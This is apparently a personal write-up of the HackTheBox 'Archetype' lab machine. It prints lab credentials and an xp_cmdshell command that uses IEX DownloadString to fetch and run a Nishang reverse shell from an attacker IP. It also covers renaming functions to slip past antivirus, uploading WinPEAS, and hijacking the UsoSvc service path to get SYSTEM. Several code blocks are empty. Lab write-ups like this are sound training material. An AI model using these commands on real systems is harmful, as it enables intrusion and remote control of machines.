HacktheBox - Archetype Writeup
Box author | egre55
Enumeration
- 1000 ports scan
|
|
- all ports scan
Open ports
- 135 (msrpc)
- 139 (smb 4 sure)
- 445 (smb 4 sure)
- 1433 (ms-sql-s/Microsoft SQL Server)
SMB Enum
CrackMapEXEC
smbclient
wow backups
shares. Let’s try connect to it.
- download the file using the
get command
prod.dtsConfig
- content of the file
|
|
we’ve got the credentials
ARCHETYPE\sql_svc:M3g4c0rp123
Foothold/Gaining Access
mssqlclient.py[Impacket]
- mssqlclient syntax
|
|
- always do this after login
enable_xp_cmdshell
- let’s try run
whoami
- Note: I’m using
xp_cmdshell
thenwhoami
Nishang
- I’m gonna copy the
Invoke-PowerShellTcp.ps1
into mywww
directory. Then, rename it torev.ps1
- Open the
rev.ps1
file and pick one of the example. Thencopy
andpaste
it on the last line of the code.
examples
put in here and save it
- Time to upload the script into the machine by using
mssqlclient.py
that we connected.- I’m gonna run
python server
insidewww
directory. python3 -m http.server
- Then try to uploaded using this command:
xp_cmdshell powershell IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.16.13:8000/rev.ps1\")
- And this happen
- I’m gonna run
it says this script got blocked by antivirus because of this function
- So, I change the function into something else. It works.
User flag
WinPEAS
- Upload the winpeas binary into the machine
- I’m gonna use
powershell
to know this machinearchitecture
- by using this command:
(wmic os get OSArchitecture)[2]
- by using this command:
-
This machine is 64-bit. I’m gonna upload
WinPEAS 64-bit version
to work. -
I’m gonna
copy
andpaste
theWinPEAS
binary into mywww
folder. -
Let’s upload it by using this command:
IWR http://10.10.16.13:8000/winPEASx64.exe -OutFile winpeas.exe
- Then run it by using this command
.\winpeas.exe
Privilege Escalation
UsoSvc
WinPEAS
just found this juicy stuff:
Modify service binary path
- According this link
If the group “Authenticated users” has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service.
Encoded Command
- Here is the script before Encoded
|
|
- Time to encoded
|
|
- First, It’s gonna encoded into
utf-16le
- Second, It’s gonna encoded into
base64
- Sources IppSec
- So, I’m gonna
copy
anotherpowershell reverse shell
by name it intozzz.ps1
- Then upload it using this command:
|
|
- After that, run this command
sc.exe start UsoSvc
we’ve got the reverse shell and become system!
Administrator Flag
Conclusion
I’ve learned a lot of tools today and how to do a PowerShell reverse shell
. Ngl, this is a really fun box. I feel like my brain want to explode
I have a fun time doing this machine and I hope you guys too. Bye ;)